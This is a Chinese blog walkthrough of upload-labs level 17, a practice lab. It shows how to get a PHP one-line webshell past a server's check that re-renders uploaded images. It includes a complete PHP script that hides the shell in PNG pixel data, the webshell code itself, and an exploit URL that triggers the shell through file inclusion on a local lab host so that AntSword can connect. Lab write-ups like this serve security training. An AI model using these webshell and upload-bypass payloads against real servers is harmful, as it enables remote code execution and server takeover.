upload-lab-17 -二次渲染绕过

发布时间 2023-09-06 19:33:00作者: 小吕不忧伤

这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,

最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,

添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接

补充知识:

二次渲染:后端重写文件内容

basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名

strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。

imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像

imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像

imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像

这里有个小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点

GIF:

上传正常的GIF图片下载回显的图片,

用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,

上传带有PHP一句话木马的GIF图片

为了方便大家测试,这里提供一张网上某个大佬提供的GIF图片,当时我也找了很久,大家可以保存一下https://wwe.lanzoui.com/iFS

wwn53jaf

————————————————

PNG:

2.2 使用php脚本写入IDAT数据块:

1、创建一个IDAT_png.php(通过这个脚本生成一个绕过渲染的图片马):

脚本内容:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

 

构造了一个一句话木马 长这样:

<?=$_GET[0]($_POST[1]);?>

测试探针要传递的参数:

get传参0=assert
加上
post传参1=phpinfo();

这里还利用了文件包含

最后构造的pauload:

///http://192.168.48.110/upload-labs-master/include.php

?file=upload/12648.png & 0=assert

post参数: 1=phpinfo();

连接蚁剑传递参数:

get传参0=assert
加上
密码 = 1

///http://192.168.48.110/upload-labs-master/include.php?file=upload/12648.png & 0=assert

JPEG:

成功不了 摆了摆了 看别的啦s